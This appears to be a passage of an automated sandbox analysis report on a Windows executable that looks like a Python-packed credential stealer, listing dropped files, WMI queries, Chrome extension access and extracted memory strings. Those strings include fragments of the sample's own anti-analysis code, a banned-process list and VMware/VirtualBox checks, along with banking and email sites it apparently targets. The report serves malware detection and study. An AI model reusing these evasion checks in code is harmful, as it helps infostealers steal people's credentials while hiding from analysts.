            Source: C:\Users\user\Desktop\9afaXJv52z.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67202\_decimal.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67202\pyexpat.pydJump to dropped file
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-16665
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4092Thread sleep count: 2212 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3212Thread sleep count: 172 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\System32\svchost.exe TID: 5836Thread sleep time: -30000s >= -30000s
            Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
            Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer FROM Win32_ComputerSystem
            Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Manufacturer FROM Win32_ComputerSystem
            Source: C:\Windows\System32\wbem\WMIC.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C7E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF6850C7E4C
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850B88D0 FindFirstFileExW,FindClose,0_2_00007FF6850B88D0
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850D1EE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF6850D1EE4
            Source: C:\Users\user\Desktop\9afaXJv52z.exeCode function: 0_2_00007FF6850C7E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF6850C7E4C
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\imagesJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\htmlJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmiedaJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0Jump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\cssJump to behavior
            Source: C:\Users\user\Desktop\9afaXJv52z.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_localesJump to behavior
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696492231}
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "vmwaretray.exe", # VMware
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "vboxservice.exe", # VirtualBox
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: *Hyper-V Administrators
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: self.banned_process = ["HTTP Toolkit.exe", "httpdebuggerui.exe","wireshark.exe", "fiddler.exe", "regedit.exe", "taskmgr.exe", "vboxservice.exe", "df5serv.exe", "processhacker.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe", "ida64.exe", "ollydbg.exe",
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696492231s
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537760232.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537609364.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1539551063.0000020DAE78D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DISPLAY_NAME: Hyper-V Heartbeat Service
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: elif b"vmware" in stdout2.lower():
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696492231x
            Source: 9afaXJv52z.exe, 00000002.00000003.1260081110.0000020DAD984000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1260386665.0000020DAD9A9000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1260254537.0000020DAD9B6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551616914.0000020DAD9BB000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1261203092.0000020DAD995000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1262454309.0000020DAD995000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1260229804.0000020DAD9B1000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551270748.0000020DAD9AA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1260736387.0000020DAD9B6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1549904859.0000020DAD92B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "vmsrvc.exe", # VirtualBox
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537760232.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537609364.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1569004953.0000020DAD886000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1556526685.0000020DAD886000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1539551063.0000020DAE78D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DISPLAY_NAME: Hyper-V Volume Shadow Copy Requestor
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537760232.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537609364.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1539551063.0000020DAE78D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DISPLAY_NAME: Hyper-V Time Synchronization Service
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696492231t
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696492231f
            Source: net1.exe, 00000048.00000002.1434077572.000001EDB3AE0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Administrators
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "vmtoolsd.exe", # VMware
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696492231x
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537760232.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537609364.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1539551063.0000020DAE78D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DISPLAY_NAME: Hyper-V PowerShell Direct Service
            Source: 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: return any(x.lower() in decoded_output[2].strip().lower() for x in ("virtualbox", "vmware"))
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696492231o
            Source: 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1541670912.0000020DAFEB0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "vboxtray.exe", # VirtualBox
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537760232.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537609364.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1539551063.0000020DAE78D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DISPLAY_NAME: Hyper-V Data Exchange Service
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696492231u
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537760232.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537609364.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1539551063.0000020DAE78D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DISPLAY_NAME: Hyper-V Guest Shutdown Service
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537760232.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537609364.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1539551063.0000020DAE78D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DISPLAY_NAME: Hyper-V Guest Service Interface
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696492231t
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696492231x
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696492231]
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696492231d
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537760232.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1537609364.0000020DB0615000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1539551063.0000020DAE78D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DISPLAY_NAME: Hyper-V Remote Desktop Virtualization Service
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696492231
            Source: 9afaXJv52z.exe, 00000002.00000003.1559016559.0000020DAE7CD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 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
            Source: 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SERVICE_NAME: vmicheartbeat
            Source: 9afaXJv52z.exe, 00000002.00000003.1552107320.0000020DAD885000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SERVICE_NAME: vmicvss
            Source: 9afaXJv52z.exe, 00000002.00000003.1540618183.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1554432789.0000020DAF902000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1536704382.0000020DAF5C0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546516598.0000020DAF600000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1546405605.0000020DAF600000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
            Source: 9afaXJv52z.exe, 00000002.00000003.1560814948.0000020DB06E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
